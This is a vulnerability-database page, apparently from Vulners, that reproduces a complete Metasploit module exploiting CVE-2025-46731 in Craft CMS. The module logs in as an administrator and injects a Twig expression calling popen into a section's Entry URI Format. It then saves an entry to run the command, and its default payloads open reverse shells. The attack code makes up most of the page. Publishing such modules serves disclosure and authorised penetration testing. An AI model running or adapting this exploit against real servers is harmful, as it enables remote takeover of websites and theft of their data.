Craft CMS 5.6.14 Authenticated Twig SSTI / Remote Code Execution
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2025-46731 | 5 May 202520:20 | – | circl | |
| Craft CMS security vulnerability | 5 May 202500:00 | – | cnnvd | |
| CVE-2025-46731 | 5 May 202519:35 | – | cve | |
| CVE-2025-46731 Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI | 5 May 202519:35 | – | cvelist | |
| EUVD-2025-13408 | 3 Oct 202520:07 | – | euvd | |
| Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI | 5 May 202519:35 | – | github | |
| CVE-2025-46731 | 1 Nov 202603:20 | – | kitploit | |
| CVE-2025-46731 | 5 May 202519:35 | – | mend | |
| CVE-2025-46731 | 5 May 202520:15 | – | nvd | |
| CLSA-2026-1791989783 TuxCare security update for craftcms/cms (3 CVEs) | 14 Oct 202614:56 | – | osv_clsa |
10
==================================================================================================================================
| # Title : Craft CMS 5.6.14 Authenticated Twig SSTI Remote Code Execution Metasploit Module |
| # Author : indoushka |
| # Tested on : Craft CMS 4.x (< 4.14.13) / 5.x (< 5.6.15) / Metasploit Framework |
| # File type : Ruby / Metasploit Exploit Module |
| # Vendor : Craft CMS |
==================================================================================================================================
[+] Summary : A Metasploit exploit module targeting CVE-2025-46731, involving an authenticated Server-Side Template Injection (SSTI) vulnerability in Craft CMS.
The module implements an authenticated workflow that accesses the administrative interface, identifies section and entry
type configurations, and modifies the Entry URI Format to introduce a Twig expression associated with the reported popen() validation weakness.
It supports PHP in-memory and Unix command payload target definitions, with entry-save operations intended
to trigger server-side template evaluation.
[+] Key Features:
- Automated Craft CMS version detection.
- Authenticated administrative access.
- CSRF token extraction and session verification.
- Automatic Section ID and Entry Type ID discovery.
- Entry URI Format inspection and modification.
- Twig SSTI injection workflow.
- PHP and Unix command target definitions.
- Entry-save trigger response analysis.
- Original configuration restoration through cleanup.
- HTTP response and error handling.
- Cleanup verification and manual recovery warnings.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'cgi'
require 'rubygems/version'
require 'json'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CraftCMS Twig SSTI popen RCE (Authenticated)',
'Description' => %q{
Exploits CVE-2025-46731: CraftCMS checkArrowFunction() misses popen().
An authenticated admin can inject Twig into Entry URI Format and trigger
evaluation by saving an entry. Requires ALLOW_ADMIN_CHANGES=true.
Affects Craft CMS 4.x < 4.14.13 and 5.x < 5.6.15.
WARNING: Prototype. Verify manually in a lab. Concurrent execution
against the same section is unsupported.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-46731'],
['URL', 'https://security.snyk.io/vuln/SNYK-PHP-CRAFTCMSCMS-10116750'],
['URL', 'https://github.com/craftcms/cms/commit/c3f75107a4b4d00f802a56f23aa57cde134df838']
],
'DisclosureDate' => '2025-05-05',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}],
['Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}]
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to CraftCMS', '/']),
OptString.new('USERNAME', [true, 'Admin username']),
OptString.new('PASSWORD', [true, 'Admin password']),
OptInt.new('SECTION_ID', [false, 'Section ID to modify (auto-detect if not set)']),
OptInt.new('TYPE_ID', [false, 'Entry Type ID for trigger (auto-detect if not set)'])
])
@cookies = nil
@csrf_token = nil
@section_id = nil
@type_id = nil
@original_uri_format = nil
@cleanup_succeeded = nil
end
def version_status(version)
return :unknown if version.nil? || version.empty?
parsed = Gem::Version.new(version)
case parsed.segments.first
when 4
parsed < Gem::Version.new('4.14.13') ? :vulnerable : :patched
when 5
parsed < Gem::Version.new('5.6.15') ? :vulnerable : :patched
else
:unknown
end
rescue ArgumentError
:unknown
end
def extract_version(body)
body = body.to_s
patterns = [
/\bCraft\s*CMS\s+v?(\d+\.\d+\.\d+(?:[-+][\w.-]+)?)/i,
/["']version["']\s*:\s*["'](\d+\.\d+\.\d+(?:[-+][\w.-]+)?)["']/i,
/craftcms[\/-](\d+\.\d+\.\d+(?:[-+][\w.-]+)?)/i
]
patterns.each do |pattern|
match = body.match(pattern)
return match[1] if match
end
nil
end
def check
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'login'))
return CheckCode::Unknown('No response') unless res
version = extract_version(res.body)
case version_status(version)
when :vulnerable then CheckCode::Appears("CraftCMS #{version} vulnerable")
when :patched then CheckCode::Safe("CraftCMS #{version} patched")
else
if res.code == 200 && res.body.to_s.match?(/Craft CMS|CraftCMS/i)
CheckCode::Detected('CraftCMS detected; version unknown')
else
CheckCode::Unknown('CraftCMS not identified')
end
end
rescue Rex::ConnectionError => e
CheckCode::Unknown("Connection failed: #{e.class}")
end
def exploit
print_status('Logging in...')
login = authenticate
fail_with(Failure::NoAccess, 'Authentication failed') unless login
@cookies, @csrf_token = login
configured = datastore['SECTION_ID']
@section_id = configured&.positive? ? configured.to_i : find_first_section_id(@cookies)
fail_with(Failure::NotFound, 'Valid Section ID required') unless @section_id&.positive?
print_status("Section ID: #{@section_id}")
configured_type = datastore['TYPE_ID']
@type_id = configured_type&.positive? ? configured_type.to_i : find_type_id(@cookies, @section_id)
fail_with(Failure::NotFound, 'Valid Type ID required for trigger') unless @type_id&.positive?
print_status("Type ID: #{@type_id}")
print_warning('Concurrent execution against same section unsupported.')
@original_uri_format = get_section_uri_format(@cookies, @section_id)
fail_with(Failure::UnexpectedReply, 'Cannot read original URI format') unless @original_uri_format
print_status("Original URI Format: #{@original_uri_format.inspect}")
if target['Type'] == :unix_cmd
cmd = payload.encoded
escaped = cmd.gsub('\\', '\\\\\\\\').gsub('"', '\\"')
twig = %Q({{{"r" : "#{escaped}"} | find("popen")}})
else
php = payload.encoded
escaped = php.gsub('\\', '\\\\\\\\').gsub('"', '\\"')
twig = %Q({{{"r" : "php -r \\"#{escaped}\\""} | find("popen")}})
end
print_status('Injecting payload into Entry URI Format...')
unless update_section_uri(@cookies, @csrf_token, @section_id, twig)
fail_with(Failure::UnexpectedReply, 'Failed to update section URI format')
end
print_status('Triggering evaluation via entry save...')
result = trigger_entry_save(@cookies, @csrf_token, @section_id, @type_id)
case result
when :confirmed
print_good('Entry saved with entry ID; trigger response confirmed.')
when :unconfirmed
print_warning('Trigger response was inconclusive (no entry ID). Twig evaluation unverified.')
else
print_error('Trigger failed or returned unexpected response.')
end
print_warning('Execution is NOT confirmed by this module. Verify via listener or OOB channel.')
end
def authenticate
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'login'))
return nil unless res && res.code == 200
login_cookies = res.get_cookies
csrf = extract_csrf(res.body)
return nil if csrf.nil? || csrf.empty?
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'actions', 'users', 'login'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'Accept' => 'application/json' },
'cookie' => login_cookies,
'vars_post' => {
'CRAFT_CSRF_TOKEN' => csrf,
'loginName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
return nil unless res
if res.code == 200
begin
json = res.get_json_document
rescue JSON::ParserError, TypeError
return nil
end
return nil unless json.is_a?(Hash) && json['success'] == true
post_cookies = res.get_cookies
cookies = post_cookies && !post_cookies.empty? ? post_cookies : login_cookies
new_csrf = json['csrfTokenValue'] || csrf
verify_session(cookies, new_csrf)
elsif res.code == 302
post_cookies = res.get_cookies
verify_session(post_cookies, csrf) if post_cookies && !post_cookies.empty?
end
end
def verify_session(cookies, csrf)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'settings', 'sections'),
'cookie' => cookies
})
return nil unless res && res.code == 200
body = res.body.to_s
return nil if body.match?(/loginName/i)
return nil unless body.match?(%r{/admin/settings/sections/\d+})
[cookies, csrf]
end
def extract_csrf(html)
html = html.to_s
pattern = /<input\b(?=[^>]*\bname\s*=\s*["']CRAFT_CSRF_TOKEN["'])(?=[^>]*\bvalue\s*=\s*["']([^"']+)["'])[^>]*>/im
match = html.match(pattern)
return nil unless match
CGI.unescapeHTML(match[1])
end
def extract_type_id(body)
body = body.to_s
patterns = [
/<input\b(?=[^>]*\bname\s*=\s*["']typeId["'])(?=[^>]*\bvalue\s*=\s*["'](\d+)["'])[^>]*>/im,
/["']typeId["']\s*:\s*(\d+)/i,
/\bdata-type-id\s*=\s*["'](\d+)["']/i
]
patterns.each do |pattern|
match = body.match(pattern)
return match[1].to_i if match
end
nil
end
def extract_uri_format(body)
body = body.to_s
input_pattern = /<input\b(?=[^>]*\bname\s*=\s*["']entryUriFormat["'])(?=[^>]*\bvalue\s*=\s*["']([^"']*)["'])[^>]*>/im
textarea_pattern = /<textarea\b(?=[^>]*\bname\s*=\s*["']entryUriFormat["'])[^>]*>(.*?)<\/textarea>/im
match = body.match(input_pattern)
return CGI.unescapeHTML(match[1]) if match
match = body.match(textarea_pattern)
return CGI.unescapeHTML(match[1]) if match
nil
end
def find_first_section_id(cookies)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'settings', 'sections'),
'cookie' => cookies
})
return nil unless res && res.code == 200
ids = res.body.to_s.scan(%r{/admin/settings/sections/(\d+)}).flatten.map(&:to_i).uniq
ids.find(&:positive?)
end
def find_type_id(cookies, section_id)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'entries', section_id.to_s, 'new'),
'cookie' => cookies
})
return nil unless res && res.code == 200
extract_type_id(res.body)
end
def get_section_uri_format(cookies, section_id)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'settings', 'sections', section_id.to_s),
'cookie' => cookies
})
return nil unless res && res.code == 200
return nil if res.body.to_s.match?(/loginName/i)
extract_uri_format(res.body)
end
def update_section_uri(cookies, csrf_token, section_id, uri_format)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'actions', 'sections', 'save-section'),
'cookie' => cookies,
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'Accept' => 'application/json' },
'vars_post' => {
'CRAFT_CSRF_TOKEN' => csrf_token,
'sectionId' => section_id,
'entryUriFormat' => uri_format
}
})
return false unless res
if res.code == 302
loc = res.headers['Location'].to_s
return false if loc.match?(/login|auth/i)
return false unless loc.match?(%r{/admin/settings/sections})
end
if res.code == 200
ct = res.headers['Content-Type'].to_s
if ct.include?('application/json')
begin
json = res.get_json_document
rescue JSON::ParserError, TypeError
return false
end
return false unless json.is_a?(Hash) && json['success'] == true
end
end
return false unless (res.code == 200 || res.code == 302)
saved = get_section_uri_format(cookies, section_id)
saved && saved == uri_format
end
def trigger_entry_save(cookies, csrf_token, section_id, type_id)
slug = "msf-#{Rex::Text.rand_text_alphanumeric(8).downcase}"
title = "MSF Test #{Rex::Text.rand_text_alphanumeric(4)}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'actions', 'entries', 'save-entry'),
'cookie' => cookies,
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'Accept' => 'application/json' },
'vars_post' => {
'CRAFT_CSRF_TOKEN' => csrf_token,
'sectionId' => section_id,
'typeId' => type_id,
'title' => title,
'slug' => slug,
'enabled' => '1'
}
}, 15)
unless res
print_warning('Trigger request received no response (timeout expected if payload sleeps).')
return :failed
end
print_status("Trigger HTTP status: #{res.code}")
print_status("Trigger Content-Type: #{res.headers['Content-Type']}")
if res.code == 200 && res.headers['Content-Type'].to_s.include?('application/json')
begin
json = res.get_json_document
if json.is_a?(Hash) && json['id']
return :confirmed
end
rescue JSON::ParserError, TypeError
end
end
if res.code == 302
print_warning('Redirect received; entry may have been saved, but result is unconfirmed.')
return :unconfirmed
end
print_error("Unexpected trigger status: #{res.code}")
:failed
end
def cleanup
begin
if @original_uri_format && @section_id && @cookies && @csrf_token
print_status('Cleaning up: restoring original Entry URI Format...')
session_ok = verify_session(@cookies, @csrf_token)
unless session_ok
print_error('Session invalid. MANUAL CLEANUP: restore to ' + @original_uri_format.inspect)
@cleanup_succeeded = false
return
end
if update_section_uri(@cookies, @csrf_token, @section_id, @original_uri_format)
current = get_section_uri_format(@cookies, @section_id)
if current == @original_uri_format
print_good('Original configuration verified.')
@cleanup_succeeded = true
else
print_error("Restoration verification failed. Current: #{current.inspect}. MANUAL CLEANUP REQUIRED.")
@cleanup_succeeded = false
end
else
print_error('FAILED to restore. MANUAL CLEANUP: ' + @original_uri_format.inspect)
@cleanup_succeeded = false
end
else
print_warning('Cleanup skipped: missing state.')
@cleanup_succeeded = false
end
rescue => e
print_error("Cleanup exception: #{e.message}. MANUAL CLEANUP REQUIRED.")
@cleanup_succeeded = false
ensure
print_error('Cleanup did not complete successfully') if @cleanup_succeeded == false
print_good('Cleanup completed successfully') if @cleanup_succeeded == true
super
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Nov 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.17.2
CVSS 48.6
EPSS0.01544